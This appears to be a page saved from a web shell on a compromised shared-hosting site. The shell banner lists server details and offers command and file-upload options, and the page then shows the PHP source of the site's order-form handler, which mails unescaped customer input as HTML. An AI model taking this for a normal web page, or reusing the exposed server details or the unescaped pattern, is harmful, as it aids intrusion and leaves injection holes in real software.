|
Server IP : 145.79.58.44 / Your IP : 216.73.216.33 Web Server : LiteSpeed System : Linux in-mum2-web2213.main-hosting.eu 5.14.0-611.35.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 25 03:46:09 EST 2026 x86_64 User : u882412079 ( 882412079) PHP Version : 8.3.30 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u882412079/domains/expodivine.com/public_html/ajax/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require '../bb-admin/include/connection.php';
if ((!empty($_POST['name'])) && (!empty($_POST['quantity'])) && (!empty($_POST['email'])) && (!empty($_POST['product_id'])) && (!empty($_POST['mobile']))) {
$product_id = $_POST['product_id'];
$name = $_POST['name'];
$email = $_POST['email'];
$quantity = $_POST['quantity'];
$mobile = $_POST['mobile'];
$address = $_POST['address'];
$created_at = date('Y-m-d h:i:s');
$query = $conn->prepare("INSERT into book_order(product_id,quantity,name,email,mobile,address,created_at) values(:product_id,:quantity,:name,:email,:mobile,:address,:created_at)");
$query->bindParam(':product_id',$product_id);
$query->bindParam(':quantity',$quantity);
$query->bindParam(':name',$name);
$query->bindParam(':email',$email);
$query->bindParam(':mobile',$mobile);
$query->bindParam(':address',$address);
$query->bindParam(':created_at',$created_at);
if($query->execute()){
$to = "kundanpandey065@gmail.com";
$subject = "Query from Expo Devine Website";
$message = "
<html>
<head>
<title>Expo Devine Website</title>
</head>
<body>
<p>Product Order</p>
<table>
<tr>
<th>Product Name: </th>
<td>".$product_id."</td>
</tr>
<tr>
<th>Quantity: </th>
<td>".$quantity."</td>
</tr>
<tr>
<th>Name: </th>
<td>".$name."</td>
</tr>
<tr>
<th>Email: </th>
<td>".$email."</td>
</tr>
<tr>
<th>Mobile: </th>
<td>".$mobile."</td>
</tr>
<tr>
<th>Address: </th>
<td>".$address."</td>
</tr>
</table>
</body>
</html>
";
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <divinexpo@gmail.com>' . "\r\n";
// $headers .= 'Cc: myboss@example.com' . "\r\n";
if(mail($to,$subject,$message,$headers)){
echo '<div class="alert alert-success bgGreen text-white fontFourteen">
<strong>Success!</strong> Your message has been sent successfully. We contact to you soon..
</div>';
}else{
echo '<div class="alert alert-danger bgRed text-white fontFourteen">
<strong>Sorry!</strong> Your message has not been sent. Please try again.
</div>';
}
}else{
echo '<div class="alert alert-danger bgRed text-white fontFourteen">
<strong>Sorry!</strong> Somthing went wrong.
</div>';
}
}else{
echo '<div class="alert alert-danger bgRed text-white fontFourteen">
<strong>Sorry!</strong> Please fill required field.
</div>';
}
?>